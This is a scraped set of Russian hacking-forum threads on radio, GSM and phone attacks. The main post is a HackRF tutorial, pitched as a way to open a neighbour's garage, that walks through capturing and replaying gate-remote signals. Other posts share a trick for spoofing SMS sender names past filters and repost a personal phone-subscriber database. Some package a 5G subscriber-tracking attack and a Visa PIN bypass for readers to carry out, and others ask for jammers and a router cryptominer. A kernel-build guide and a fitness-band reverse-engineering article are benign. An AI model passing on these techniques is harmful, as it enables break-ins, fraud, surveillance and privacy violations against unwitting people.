- обычно, при работе с комплексами нужно выполнять предварительное сканирование сети, чтобы определить правильные частоты для редиректора и номер канала ARFCN для 2G базы. Китайцы для скана 2g используют перепрошитую нокию, как у них обстоит вопрос с 4g вообще не понятно. Автоматизирован ли у Вас этот процесс? т.е. сколько грубо говоря времени занимает весь процесс от включения

- комплекс - "онлайновый" ? TAN / 2fA от 3dSecure, не истечет пока он Kc будет ломать? :)

- дешифратор - он будет в составе комплекса, или требует онлайн-подключения к неким серверам?

Hackrf one. Перехват и емуляция радиосигналов
ID: 676535aeb4103b69df3735e0
Thread ID: 80469
Created: 2023-01-22T17:20:34+0000
Last Post: 2023-05-15T13:30:45+0000
Author: Gufi
Prefix: Статья
Replies: 29 Views: 4K

Мечтаете открыть соседский гараж? Или перехватить gsm трафик?
Или словить сигнал со спутника?
Не проблема! Ведь сегодня у нас на обзоре Hackrf one - железка для для работы с радиосигналами!
У нас версия Portapack h2 , заказанная с алика.
Сегодня мы рассмотрим две главные функции девайса: перехват (сохранение) сигнала и его емуляция.

Внешний вид девайса​

photo_2023-01-22_18-25-36.jpg photo_2023-01-22_18-25-03.jpg

В комплекте с portapack была антенна и кабель microusb. «хрен вам а не инструкция в комплекте » сказали нам китайцы)
У девайса железный корпус , сенсорный екран (китайцы наебали на качество, сенсор очень плохо работает.)Крестовина посередине , для управлениям прошивкой , кнопка dfu и reset , три разных выхода под антенны (главный выход вверху , туда закручиваем антенну), вход под sd карту (обязательно вставить туда карту перед сохранением сигнала) и порт micro usb для подачи питалова и саязи с пк.

Обзор прошивки​

Внимание!
Перед включением девайса , обязательно прикрутите антенну , иначе есть риск спалить плату!
Сперва прикрутите антенну , потом уже подавайте питалово!
На нашем девайсе версия прошивки Portapak|HAVOC local - 79baef7 , стабильная и удобная прошивка.

photo_2023-01-22_18-22-24.jpg

В главном меню мы видим пункты:
Play dead
Receivers
Transmit
Capture
Replay
Calls
Scanner
Utilities
Settings
Hackrf mode

Сегодня мы будем юзать пункты:

Calls - для определения частоты сигнала
Capture - для перехвата (сохранения сигнала)
Replay - для емуляции (повтора) сохраненного сигнала
(Hackrf mode для подключения к пк)

(На гитхабе вы сможете найти много кастомных прошивок.)

Подключение к пк​

При первом подключении ничего не случиться , чтобы девайс отобразился на пк нужно установить драйвер.
Для установки драйвера:
1.Подключаем девайс к пк
2.На portapack выбираем Hackrf mode
3.Скачиваем Zadig
4.Запускаем программу и ставим все драйвера.

Перехват и емуляция сигнала с помощью Universal Radio Hacker ​

URH (Universal Radio Hacker) - программа для работы с хакрф через пк. Ее плюс в том что здесь удобный интерфейс, три главных инструмента , работают очень понятно. Плюс инструмент для анализа сохраненого сигнала.

Скачать: Universal Radio Hacker

Запускаем программу
photo_2023-01-22_17-53-01.jpg (сорян за качество)

Здесь мы видим главное меню , нажимаем на меню , видим три главных пункта :

Spectrum analysis - пункт для определения частоты сигнала.

Record signal - запись (перехват) сигнала.

Open file - емуляция сохраненного сигнала (после сохранения сигнал сохраняется в файл , в пункте Open file , мы вибираем наш файл в который сохранили сигнал , и еммулируем)

Начнем! будем перехватывать сигнал от пульта.

Подключаем девайс к пк и вводим его в режим hackrf mode

1.Выбираем в главном меню Spectrum analysis для определения частоты сигнала пульта

Снимок экрана 2023-01-21 191003.png

Снимок экрана 2023-01-22 121306.png
здесь выбираем HackRF

и нажимаем
Снимок экрана 2023-01-22 121330.png

пульт у нас работает на семействе частот 433mHz , в Frequency выбираем 433.0M
Sample rate и Bandwidth делаем по 20.
Нажимаем Start

Как видим у нас началось сканирование входящих сигналов
Снимок экрана 2023-01-22 181044.png

теперь нажмем кнопку на пульте , видим что на графе отобразился сигнал , наводим на полоску и кликаем.

2. Выбираем в главном меню Record signal для записи сигнала
Снимок экрана 2023-01-22 122202.png
нажимаем start и снова нажимаем кнопку на пульте , как видим сигнал записался , жмем stop и save (сохраняем сигнал в файл)

3.Емулируем сохраненный сигнал. Пункт open file
Снимок экрана 2023-01-22 181858.png

вот наш сохраненный сигнал , теперь нажимаем на play. Готово мы перехватили и емулировали сигнал!

Перехват и емуляция сигнала с помощью Portapack​

1. Определяем частоту сигнала:
В меню переходим в calls
photo_2023-01-22_18-40-32.jpg
в значении min выставляем минимальное значение сигнала а в max максимальное
при нажатие на кнопку пульта мы увидим частоту сигнала.

2. Запись сигнала:
вставляем sd карту
в меню переходим в capture
photo_2023-01-22_19-14-37.jpg
выбираем частоту и для записи нажимаем красную. кнопку R.
после записи сигнал сохраниться на sd карту.

3. Емуляция сигнала:
в меню переходим в replay.
нажимаем open file , открываем файл и нажимаем play

Готово! в итоге мы перехватили сигнал от ворот , девайс умеет очень многое. Спасибо за внимание! (статья написана на коленке не судите строго)

Реальная задача для отцов
ID: 676535aeb4103b69df3735fb
Thread ID: 20975
Created: 2011-01-14T16:08:33+0000
Last Post: 2023-01-10T16:43:06+0000
Author: Wintermute
Replies: 5 Views: 4K

Требуется спроектировать и собрать типовой образец элемента. Элемент этот входит в радиоцепь равных ему элементов и является модемом (приемо- передатчиком). Автономность элемента не менее 3 лет. Блоком питания выступает аккумулятор, размер ограничен условно размером одного кирпича. Но чем меньше, тем лучше. Предположительная частота вещания 433 Мгц. Частота общения между элементами — один раз в минуту.

Принцип работы — получение сигнала от другого элемента, присоединенного к каждому модему. Другой элемент этот по условию нашей задачи энергию не отсасывает.

Задача, чтобы элементы в цепи могли устойчиво общаться, имея 1000 элементов в цепи. можете писать на почту untno собака ya.ru

Телефонная база данных.
ID: 676535aeb4103b69df373638
Thread ID: 15753
Created: 2008-09-16T20:37:47+0000
Last Post: 2021-11-11T23:22:01+0000
Author: Noctambulaar
Replies: 1 Views: 4K

MegaContacts 2007

Универсальный телефонный справочник для Windows 2000/XP/Vista

-определение ФИО абонента по номеру телефона
-поиск телефонов по ФИО абонента или адресу
-просмотр журнала вызовов с определением абонентов по номеру
-копирование найденных данных в Контакты
-просто осуществлять Поиск по номерам, фамилиям и адресу

=======================
Беларусь
Минск (26.06.2007)
Брестская область
Брест
Барановичи
Дрогичин (27.06.2007)
Пинск
Столин
Витебская область
Витебск (12.08.2007)
Верхнедвинск (23.01.2007)
Докшицы
Глубокое
Новополоцк (24.01.2007)
Полоцк (24.01.2007)
Гомельская область
Гомель (08.01.2007)
Жлобин
Мозырь
Речица (10.01.2007)
Светлогорск
Гродненская область
Гродно
Лида
Волковыск
Сморгонь (10.01.2007) thx to eric_s
Щучин (23.06.2007)
Минская область
Борисов (24.01.2007)
Вилейка (23.01.2007) thx to eric_s
Воложин (23.01.2007) thx to eric_s
Жодино
Молодечно (04.11.2006)
Слуцк (25.02.2007)
Солигорск (26.06.2007)
Столбцы (10.01.2007)
Заславль
Мачулищи
Могилёвская область
Вся область (08.01.2007)
Один известный мобильный оператор

Россия
Москва
Санкт-Петербург

Владимир
Волгоград (12.03.2007)
Волжский (12.03.2007)
Воронеж
Екатеринбург (11.04.2007)
Иваново
Иркутская область (31.05.2007)
Казань (10.04.2007)
Калуга
Кемерово
Ленинск-Кузнецкий
Коми
Печора (28.06.2007)
Кострома
Краснодар (01.06.2007) thx to андрей п.
Красноярск (04.07.2007)
Нижний Новгород (19.08.2007)
Норильск
Новосибирск
Омск (06.08.2007)
Орёл
Ливны (06.04.2007)
Петрозаводск (10.01.2007)
Псков (28.07.2007)
Ростов-на-Дону (08.02.2007)
Рязань (19.04.2007)
Самара
Смоленская область
Ставрополь
Тульская область (18.08.2007)
Тюмень
Хабаровск (вкл. Николаевск-на-Амуре)
Чебоксары
Челябинск (16.03.2007)
Череповец (31.05.2007)
Ярославль

Украина
Киев (26.01.2007) на русском и на украинском языках
Справочники идентичны, за исключением языка названий улиц и населённых пунктов.
Киевская область (07.02.2007)
Днепропетровск (06.04.2007)
Кривой Рог (17.03.2007)

Никополь
Донецк
Житомир (28.07.2007)
Запорожье (06.04.2007)
Ивано-Франковск (01.06.2007)
Кировоградская область
Крым

Луганск (30.05.2007)
Львов
Одесса (13.04.2007)
Полтава (04.08.2007) на русском и на украинском языках
Справочники идентичны, за исключением языка названий улиц и населённых пунктов.
Ровно (10.04.2007)
Тернопольская область (15.03.2007)
Черкасская область (15.08.2007)
Черниговская область (16.05.2007)
Харьков

Херсон (31.01.2007) на русском и на украинском языках
Справочники идентичны, за исключением языка названий улиц и населённых пунктов.

Латвия
Латвия (07.02.2007)
Молдова
Приднестровье
Казахстан
Астана (03.05.2007)

Click to expand...

Часть 1 - ~300 mb
Часть 2 - ~100 mb

Взято с xakepy.ru

Создание ядра для Samsung, часть 1
ID: 676535aeb4103b69df373647
Thread ID: 30279
Created: 2019-07-08T16:37:41+0000
Last Post: 2021-07-26T18:17:51+0000
Author: NokZKH
Prefix: Статья
Replies: 2 Views: 4K

image2.png

Компилируем собственное ядро Samsung на Android
Многие специалисты по безопасности и системные администраторы знакомы с процессом, который компилирует ядро Linux, а затем устанавливает его на наш любимый дистрибутив. Это может быть сделано для разных целей: усиление безопасности, настройка функций и многое другое...

Тем не менее, когда речь идет о ядрах Android (которые в обычно основаны на ядре Linux), особенно для моделей, которые не принадлежат Google, вы начинаете понимать, что не все так просто, и это нельзя так просто сделать, даже следуя интерактивному пошаговому руководству.

Сегодня и в моей следующей серии Medium я постараюсь сделать все возможное, чтобы изменить мнение людей. Сегодня я расскажу о такой штуке, как Infosec, и сделаю ее доступной для всех, кто заинтересован в этом.

Небольшой отказ от ответственности : это руководство относится к Samsung S7 (SM-G930F), однако его можно применять к другим моделям Samsung без каких-либо изменений.

Подготовка окружающей среды
Скачайте Ubuntu x64.iso. Я особенно люблю Xubuntu, так как я предпочитаю красивый внешний вид, однако любая другая система тоже допустима. На данный момент Xubuntu 18.04 (Bionic Beaver) является последней версией, которую вы можете скачать по этой ссылке .

Создайте виртуальную машину Xubuntu 18, используя предпочитаемый вами гипервизор. Убедитесь, что он имеет по крайней мере:

● 4 ГБ ОЗУ
● 40 ГБ дискового пространства
● 2 ядра процессора

Это ускорит процесс компиляции ядра и гарантирует, что у васне кончится место на диске при компиляции ядра.

Как только ваша виртуальная машина будет запущена, войдите как root и выполните:

Code:Copy to clipboard

apt-get -y update
apt-get -y upgrade
apt-get -y dist-upgrade
apt-get -y install git ccache automake lzop bison gperf build-essential zip curl zlib1g-dev zlib1g-dev:i386 g++-multilib python-networkx libxml2-utils bzip2 libbz2-dev libbz2-1.0 libghc-bzlib-dev squashfs-tools pngcrush schedtool dpkg-dev liblz4-tool make optipng heimdall-flash adb

Теперь нам нужно загрузить исходный код Kernel и кросс-компилятор Android, что позволит нам создавать код AARCH64 из обычной виртуальной машины x86.

Перейдите в папку, в которую вы хотите загрузить исходный код, и выполните:

git clone [URL]https://github.com/djb77/samsung-kernel.git[/URL] — branch G93XX-ALL

Убедитесь, что репозиторий относится к телефону, который вы хотите прошить.

Затем, в той же папке, в которой находится папка с исходным кодом, выполните:

git clone[URL='https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/aarch64/aarch64-linux- android-4.9'] https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/aarch64/aarch64-linux- android-4.9[/URL]

На данный момент у нас должно быть все необходимое для компиляции ядра.

Сборка ядра
Во-первых, нам нужно установить несколько переменных среды. Перейдите в папку, содержащую кросс-компилятор Android , предположительно, он называется aarch64-linux-android-4.9, и выполните следующее:

Code:Copy to clipboard

export CROSS_COMPILE=$(pwd)/bin/aarch64-linux-android-
export ARCH=arm64
export SUBARCH=arm64
export ANDROID_MAJOR_VERSION=o

Несколько важных предостережений относительно этих переменных сред:

● В редком случае, когда архитектура вашего устройства не arm64, измените переменные «ARCH» и «SUBARCH» соответственно. Вы можете увидеть список опций в папке «arch» в исходном коде ядра.

● Убедитесь, что папка, на которую указывает переменная «CROSS_COMPILE» (после добавления версии), действительно существует. В противном случае процесс не удастся.

● Переменная «ANDROID_MAJOR_VERSION» установлена в «o», потому что мы компилируем Android Oreo (8.x). Это изменится со временем, поэтому убедитесь, что он настроен соответствующим образом.

Затем нам нужно выбрать нашу целевую конфигурацию: перечислите содержимое папки « **arch / / configs **» и выберите ту, которая соответствует вашему устройству. В моем случае это «exynos8890-herolte_defconfig», я использую arm64 в качестве целевой архитектуры, вот мой вывод:

image3.png
Варианты конфигурации

После того, как вы выбрали целевую конфигурацию, проверьте, сколько ядер у вашего телефона (см. Документацию устройства), а затем выполните следующее:

Code:Copy to clipboard

make clean
make mrproper
make exynos8890-herolte_defconfig
make -j(number of cores)

Не забудьте заменить « exynos8890-herolte_defconfig » на ваш файл defconfig (defconfig file).

Процесс не должен занимать много времени (от 5 до 10 минут), и после компиляции ваше ядро должно находиться в папке arch / / boot с именами Image иImage.gz
.

image1.png
Это было не слишком сложно, верно? : D

Специально для xss.is
Переводчик статьи - https://xss.is/members/177895/
Источник: <https://medium.com/@alex91ar/debugging-the-samsung-android- kernel-part-1-ab2a9b87c162>

Ноутбук и 1100€ позволяет отслеживать абонентов сетей 3G-5G
ID: 676535aeb4103b69df373649
Thread ID: 26757
Created: 2018-12-06T12:04:24+0000
Last Post: 2021-07-25T16:33:09+0000
Author: tabac
Replies: 3 Views: 4K

Протокол, специально разработанный для защиты данных владельцев смартфонов, уязвим к атакам с использованием поддельных базовых станций. Проблема затрагивает сети от 3G до 5G, а для осуществления атаки необходим лишь ноутбук и оборудование стоимостью порядка 1,1 тыс. евро.

Речь идет о протоколе Authentication and Key Agreement (AKA), предназначенном для обеспечения безопасности передачи данных между мобильным устройством и базовой станцией. В опубликованном Ассоциацией криптологических исследований докладе представлена новая атака на протокол AKA, в том числе 5G AKA, которая «нарушает приватность абонента в еще большей мере, чем известные атаки для отслеживания местоположения».

Атака представляет большую угрозу, поскольку эксплуатирует логическую уязвимость в протоколе, а значит, затрагивает AKA в целом, а не только какую- то определенную его реализацию.

Как пояснили исследователи, AKA представляет собой протокол «запрос-ответ», полагающийся на симметричное шифрование и последовательность чисел (SQN) для проверки актуальности запросов в целях предотвращения атак повторного воспроизведения. В связи с обнаруженными ранее уязвимостями консорциум 3GPP улучшил AKA для 5G. В протокол было добавлено рандомизированное ассиметричное шифрование с целью обеспечения безопасности идентификатора пользователя (идентификатор отправляется во время рукопожатия, осуществляемого перед шифрованием).

Тем не менее, в обновленном протоколе по-прежнему используются числа SQN, и именно их исследователи использовали для атаки. Недостаточная рандомизация и использование XOR позволили им обойти механизм защиты SQN и следить за пользователем (узнавать количество осуществляемых звонков и отправленных SMS, отслеживать местоположение).

По словам исследователей, представленная ими атака серьезнее предыдущих, поскольку другие атаки с использованием поддельных базовых станций эффективны только в случае, если жертва находится в пределах действия поддельной базовой станции.

Для осуществления атаки специалисты использовали ноутбук, универсальный программный радиоприемник, считыватель смарт-карт и программное обеспечение OpenLTE. За исключением ноутбука, стоимость необходимого оборудования составила 1140 евро (вместо ноутбука можно использовать Raspberry Pi).

3GPP – консорциум, разрабатывающий спецификации для мобильной телефонии. 3GPP был создан в 1998 году. Основным направлением работы является разработка технических спецификаций и технических отчетов в области сетевых технологий и радиодоступа в мобильных системах.

Ссылка на доклад:
https://eprint.iacr.org/2018/1175

Для тех, кто хочет с пользой для себя провести новогодние праздники, прикладываю все необходимые компоненты для самостоятельной реализации написанного выше.

1. Инструкция для OpenLTE:
[https://cn0xroot.com/2016/07/06/how...station-with-gnuradio-bladerf-openlte- part-1/](https://cn0xroot.com/2016/07/06/how-to-build-4g-lte-base-station- with-gnuradio-bladerf-openlte-part-1/)

2. Ноутбук
Asus x751 семейства. BladeRf имеет частые конфликты с ЦПУ и даже сама фирма Nuand не всегда знает причину конфликта.

3. Программно управляемое радио bladeRf x40
https://www.nuand.com/product/bladerf-x40/

4. Антенны(2)
https://www.nuand.com/product/tri-band-antenna/

5. Софт OpenLte:
http://openlte.sourceforge.net

Это базовый набор, однако наилучшие результаты можете достигнуть используя два SDR одновременно.

Атака позволяет обойтись без ввода PIN-кода при бесконтактных платежах Visa
ID: 676535aeb4103b69df373665
Thread ID: 41585
Created: 2020-08-31T20:07:31+0000
Last Post: 2020-12-29T21:23:19+0000
Author: tabac
Replies: 8 Views: 4K

Ученые из Швейцарской высшей технической школы Цюриха разработали атаку, которая позволяет не водить PIN-код во время совершения бесконтактных платежей по картам Visa Credit, Visa Electron и VPay. Данная атака позволяет злоумышленнику, который владеет данными украденной бесконтактной карты Visa, использовать карту для оплаты дорогостоящих товаров, чья цена намного превышает лимит бесконтактных транзакций. И PIN-код при этом не понадобится.

Доклад, описывающий эту технику атак, уже опубликован в открытом доступе, а полноценную презентацию своих изысканий специалисты намерены устроить на симпозиуме IEEE, который пройдет в мае 2021 года.

Ученые рассказывают, что придуманную ими атаку очень трудно обнаружить, ведь злоумышленник будет похож на обычного клиента, который расплачивается на покупку с помощью смартфона. На самом же деле атакующий будет расплачиваться украденной бесконтактной картой Visa, которая спрятана где-то на него теле.

Для этой атаки не нужно сложное оборудование, понадобятся лишь два смартфона на Android, специальное приложение, созданное исследовательской группой, а также сама бесконтактная карта. При этом приложение, установленное на обоих смартфонах, будет работать в качестве эмулятора PoS-терминала и эмулятора самой карты.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2020%2F08%2F319089%2Fvisa-contactless- attack.jpg%2326759185&hash=b9d5559ef130545c61bf1584fad8c1fe)
В итоге атака выглядит следующим образом: смартфон, который имитирует PoS- устройство, помещают рядом с украденной картой, а смартфон, работающий в качестве эмулятора карты, используют для оплаты товаров. Идея заключается в том, что эмулятор PoS просит карту произвести платеж и модифицирует детали транзакции, а затем передает измененные данные через Wi-Fi на второй смартфон, который в итоге совершает крупный платеж без необходимости ввода PIN-кода (ведь злоумышленник изменил данные транзакции таким образом, чтобы ввод PIN- кода не требовался). Демонстрацию атаки можно увидеть ниже.

«Наше приложение не требует root-прав или каких-либо хитроумных хаков Android. Мы успешно протестировали его на обычных устройствах Pixel и Huawei», — пишут исследователи.

Click to expand...

:zns3:Доклад

https://arxiv.org/pdf/2006.08249.pdf

разведка
ID: 676535aeb4103b69df373667
Thread ID: 43819
Created: 2020-11-02T11:48:18+0000
Last Post: 2020-11-18T04:02:08+0000
Author: selezen
Prefix: GSM
Replies: 11 Views: 4K

Возник вопрос по осмоBB. у кого есть рабочий осмоком? Можно ли провести разведку подключённых устройств, узнать МАК адрес оборудования, как действует система? можно ли применить Мальтего для разведки, или подобное..

Хотелка на мобилку
ID: 676535aeb4103b69df373684
Thread ID: 36864
Created: 2020-04-29T09:26:21+0000
Last Post: 2020-06-03T13:48:02+0000
Author: 500mhz
Replies: 18 Views: 4K

Вот задумался, а есть в природе софт на мобилку, который при получении определенной смс грохает содержимое девайса? Естественно девайс должен быть рутанутый.
Схема развития событий

  1. договариваюсь с товарищем, каждый час пингуемся в жабе
  2. иду гулять
  3. бац "теряю" телефон
  4. меня нет на связи 1 час, товарищ отсылает смс
  5. профит, телефон чист
подмена смс номера
ID: 676535aeb4103b69df37368b
Thread ID: 26170
Created: 2018-10-03T12:45:50+0000
Last Post: 2020-04-12T01:39:19+0000
Author: xrahitel
Replies: 3 Views: 4K

Переходим easysms.gr регаемся через gmail или Facebook тыц

расскажу одну фичу :D как можно обмануть такие сервисы esendex.com сервис что в топе да и любой дрогой не пропускает эти номера 88005555550 и 9000 но если ноль заменить на английскую большую букву о пролетает сука 8800555555O и 9OOO :D :screenshot: кли- кай

Видео это заметно как в сервисе светиться буква но на трубу приходит нормально проверил сам :hi:

Спутниковое телевидение бесплатно
ID: 676535aeb4103b69df373691
Thread ID: 31250
Created: 2019-08-22T03:49:34+0000
Last Post: 2019-11-05T03:00:55+0000
Author: gmbisi
Replies: 9 Views: 4K

День добрый, уважаемые пользователи.
Сразу оговорюсь, что в теме не очень разбираюсь.
Короче, в связи с легким дауншифтингом в виде тяги к природе и покупки загородного дома в глуши впервые повстречался с темой спутникового телевидения.
Купил многострадальный триколор. Не буду даже говорить о глюках, зависаниях, замене декодера, так теперь ещё и за 2 месяца до конца оплаты - отрубили с непонятной ошибкой.
В связи с этим хочу спросить - какие есть методы получить картинку с множеством каналов бесплатно?
Погуглил немного, увидел пиратские карты, кардшаринг, прошивку декодеров, но нигде никакой конкретики. А я, видимо, плохо ищу.
Короче, если кто в теме - расскажите, какие методы есть, как получить, может ресурсы или контакты умельцев.
Благодарю.

альтернативы hack RF, и можно ли с него эфир забивать
ID: 676535aeb4103b69df37369d
Thread ID: 27882
Created: 2019-02-15T10:37:19+0000
Last Post: 2019-07-03T17:32:19+0000
Author: coolmiks
Replies: 5 Views: 4K

нужен приемник передатчик типа hack RF, чтобы можно было забивать эфир (WIFI GPS GSM) если такое возможно
может кто ссылочку даст или инфой поделиться буду благодарен

Ищу фрикера
ID: 676535aeb4103b69df3736a0
Thread ID: 27088
Created: 2018-12-29T14:16:06+0000
Last Post: 2019-06-24T19:49:47+0000
Author: Qwesty
Replies: 6 Views: 4K

Есть у нас тут специалисты фрикеры? Контакт можно в пм. Но только чтоб реальный. Тема соответственно тоже реальная.

[Ищу] Mikrotik Monero install
ID: 676535aeb4103b69df3736a1
Thread ID: 27910
Created: 2019-02-16T19:56:38+0000
Last Post: 2019-06-10T15:53:45+0000
Author: Kevin Shindel
Replies: 2 Views: 4K

Собственно у кого есть сей сабж. Очень интересует.

Пошаговое руководство взлома фитнес-браслета Xiaomi MiBand 2
ID: 676535aeb4103b69df3736a2
Thread ID: 29702
Created: 2019-06-07T21:03:35+0000
Last Post: 2019-06-07T21:03:35+0000
Author: pablo
Replies: 0 Views: 4K

Автор: Andrey Nikishaev

В этой статье будет приведено пошаговое руководство взлома фитнес-трекера с поддержкой Bluetooth и низким энергопотреблением средствами ОС Linux.

Эта история началась с моего поста в Facebook, посвященного проблеме отсутствия API для фитнес-трекеров, и почему сей факт мешает исследователям данных создавать что-то полезное и крутое для этих девайсов.

Тот пост спровоцировал жаркую дискуссию и привлек внимание моего друга Володимира Шиманского, пытавшегося помочь мне с кодом Лео Соаресадля моего фитнес- трекера MiBand 2. Володимир пытался запустить этот код, но были проблемы с соединением. Проблема была решена в течение нескольких часов, и код обновлен.

Эта ситуация подтолкнула меня к активным действия. Используя вышеуказанный код, я смог подключиться к MiBand 2, поработать с уведомлениями и измерить ритм сердца. Однако этот функционал меня не устраивал. Я хотел получать данные с сенсоров в режиме реального времени и поэкспериментировать с полученной информацией. Мне хотелось создать советника по физическим упражнениям. В итоге было решено хакнуть фитнес-трекер. Приступаем.

У меня не было никакого опыта работы с BLE-девайсами (Bluetooth Low Energy), и я решил начать с изучения этой технологии. Выяснилось, что никаких особых сложностей нет:

Вышеуказанного списка вполне достаточно для начала работы с фитнес-трекером.

Также вам понадобятся два приложения для отладки BLE-устройства: анализаторпротоколов Wiresharkи BLE отладчик. Кроме того, нужно активировать опции разработчика в устройстве на базе Android(для любителей iOS придется поискать эквивалент в этой платформе).

Для начала нужно отключить MiBand2 от приложения телефона.

Посмотрим, какие службы и характеристики есть у нашего устройства. Открываем отладчик для BLE и запускаем сканирование. Должно появиться примерно следующее:

Рисунок 1: Перечень устройств доступных для подключения

MAC адрес устройства нам понадобится позже, поэтому лучше эту информацию где- то сохранить или записать. Подключаемся и смотрим перечень служб и характеристик.

Рисунок 2: Перечень служб устройства

Выполнив две простые операции, мы уже получили полезную информацию о нашем устройстве. Схожая функция доступна через командную строку при помощи утилит hcitool и gatttool.
Запуск сканирования из командной строки:

Code:Copy to clipboard

sudo hcitool lescan

Подключение к BLE устройство через Mac адрес и получение списка служб и дескрипторов:

Code:Copy to clipboard

sudo gatttool -b YOUR_MAC -I -t random
> connect
> primary
> char-desc

В некоторых случаях могут возникнуть проблемы. В том случае можно перезагрузить устройство или запустить следующую команду:

Code:Copy to clipboard

sudo hciconfig hci0 reset

Подготовка к сниффингу данных
Для сниффинга данных во время коммуникации телефона и BLE-устройства нужно включить Bluetooth-логи в настройках разработчика. Вначале необходимо включить настройки на Android-устройстве. Следуйте по шагам, описанным далее.
До Android 4.1 опции разработчика доступны по умолчанию. Начиная с версии 4.2, нужно сделать следующее:
1. Откройте раздел Settingsна Android-устройстве.
2. Выберите раздел System
(только на устройствах с Android 8.0 и выше).
3. Прокрутите вниз и выберите Aboutphone.
4. Прокрутите вниз и тапните 7 раз на Buildnumber.
5. Возвратитесь к предыдущему разделу. Почти в самом низу должен появиться раздел Developeroptions.
Откройте настройки разработчика и включите опцию **«Enable Bleutooth HCI snoop log».Теперь все коммуникации между телефоном и любым внешним Bluetooth-устройством должны отражаться в файле btsnoop_hci.log. (на моем телефоне с **Android 7.0 логи находятся в /mtklog/btlog/btsnoop_hci.log).

Аутентификация
Теперь нужно выполнить следующие шаги для получения информации о том, как работает аутентификация (сопряжение).
1. Включите Bluetoothи
HCI логи.
2. Выполните сопряжение устройства с приложением Xiaomi Android App.
3. Отключите Bluetooth.
4. Загрузите btsnoop_hci.logна компьютер.
5. Откройте файл в Wireshark.
6. Найдите первый запрос, имеющий отношение к протоколу ATT, с параметром Handle: 0x0055 (который связан с компаниейAnhui Huami Information Technology Co
, выпускающей переносные устройства и владеющей брендом
Xiaomi**).
Должно получиться примерно следующее:**

Рисунок 3: Содержимое логов с Android-устройства

Выделенный запрос – первый этап аутентификации.
Как видно из рисунка выше, обрабатываются следующие значения UUID:

0x2902 (всегда неизменный)
Аутентификация состоит из следующих шагов:

  1. Настройка auth-уведомлений (для получения ответа) посредством отправки двухбайтового запроса \x01\x00в Des.
  2. Отправка 16-байтового ключа шифрования в Char с командой и добавление двух байт \x01\x00 + KEY.
  3. Запрос случайного ключа с устройства с командой посредством отправки двух байт \x02\x00 в Char.
  4. Получение случайного ключа от устройства (последние 16 байт).
  5. Шифрование этого случайного номера при помощи 16-байтового ключа, используя алгоритм шифрованияAES/ECB/NoPadding(из Crypto.Cipher import AES) и обратная отправка в Char (\x03\x00 + закодированная информация).

Данные в режиме реального времени
Процесс аутентификации Auth оказался чуть сложнее, и появились некоторые проблемы. Мониторинг частоты сердцебиений отключался через 15 секунд. Ниже показан перечень полученных значений UUID:

Выполняются несколько стандартных операций:

  1. Отключение текущего мониторинга сердцебиений. Отправка запроса \x15\x02\x00 к HMC _для одноразовых измерений. Отправка запроса**\x15\x01\x00** к_HMC для непрерывных измерений.2.
  2. Разрешение сырых данных от гироскопа и измерителя сердцебиений посредством отправки команды \x01\x03\x19 к SENS
  3. _Включение уведомлений для HRMпосредством отправки запроса**\x01\x00** к _DES
  4. _Начало непрерывных измерений сердцебиения посредством отправки запроса**\x15\x01\x01** к _HMC
  5. Отправка команды\x02 к SENS (не очень понятно, зачем нужна эта команда)
  6. Затем в процессе получения уведомлений каждый 12 секунд нам нужно отсылать пинг со значением \x16 к HCM

Парсинг данных
Далее нужно было разобраться, как распаковать информацию, приходящую с устройства, для последующего парсинга.
Некоторую часть данных можно распарсить из логов, некоторую - нельзя.

Рисунок 4: Ответ от устройства с текущим временем

Поиск правильных пакетов и изучение системы кодирования может отнять некоторое время. В моем случае я попытался найти похожие байты в пакетах рядом с друг с другом. Некоторые байты повторяются внутри пакета.

Code:Copy to clipboard

Raw heart: 02102d8c348c448c458c3d8c428c488c 16
Raw heart: 0218468c418c3d8c468c3f8c398c418c 16
Realtime heart: 93
Raw heart: 0220408c448c3f8c428c498c3c8c3d8c 16
Raw heart: 02283d8c398c488c3e8c468c488c328c 16
Realtime heart: 99
Raw heart: 0230438c408c378c3a8c318c458c388c 16
Realtime heart: 102
Raw heart: 02404f8c408c458c428c4d8c558c4d8c 16
Raw heart: 02483e8c3b8c3f8c348c398c318c428c 16
Realtime heart: 98
Raw heart: 02504c8c428c5e8c4f8c588c498c558c 16
Raw heart: 0258478c458c3c8c4e8c3f8c468c4d8c 16
Realtime heart: 100
Raw heart: 0260518c4d8c4f8c4b8c4f8c528c458c 16
Raw heart: 0268408c3f8c538c4d8c408c548c598c 16
Realtime heart: 102
Raw heart: 0278418c508c4e8c548c588c468c498c 16
Raw heart: 0280368c328c2e8c3c8c338c308c3f8c 16
Realtime heart: 101

Здесь можно заметить четкий повторяющийся шаблон 368c328c2e8c3c8c338c308c3f8cв пакете размером 16 байт. Если мы распакуем с учетом, что каждое измерение представляет собой беззнаковый короткий тип размером 2 байта, то получим 7 непосредственных измерений от сенсора сердца.
Также видно, что второй байт просто увеличивается и связан, как я думаю, с временной разницей между измерениями (ответами).

Code:Copy to clipboard

Raw gyro: 01de49ffd9ff3c004cffd8ff3b004dffdcff4400
Raw gyro: 01df4cffd6ff44004dffd8ff40004cffd1ff4700
Raw gyro: 02e1103231323d3274328e329632af32c732cf32
Raw gyro: 01e34fffd7ff56004bffc7ff590049ffccff4c00
Raw gyro: 01e443ffccff43004effcdff40005bffd4ff4c00
Raw gyro: 01e558ffc9ff5f005effbfff66005fffb0ff5900
Raw gyro: 01e64cffacff60005cffa7ff410066ffc9ff4600
Raw gyro: 01e760ffdcff4b0051ffe4ff4f0034ffdeff5300
Raw gyro: 02e903365c36813663361036543688374139fe3a
Raw gyro: 01eb4bffc3ff50004fffc1ff430047ffbbff4100
Raw gyro: 01ec3effb2ff3c0050ffbfff560047ffccff7300
Raw gyro: 01ed4fffe0ff78005cffebff8e0056fff6ff8300
Raw gyro: 01ee7efffbffa1008bff0f00bc00b1ff1900b800
Raw gyro: 01ef9bff0c00d10095fff3ffd600b7ff0800df00
Raw gyro: 02f12445314600479e473348aa481c499749244a
Raw gyro: 01f3c3ff1600fe00beff1800f200a6ff0800e700
Raw gyro: 01f4a9fff8ffd300a7fff3ffd700a9fff1ffdf00
Raw gyro: 01f5b1fff8ffe800b4fff1fff700acfffcffef00
Raw gyro: 01f67ffff7ffc0006bfff4ffb00078ffe9ffb600
Raw gyro: 01f786ffecffc0006ffff0ffbc0060fff1ffc000
Raw gyro: 02f9ca4cbb4c784c964ca84c784c854c444c1b4c
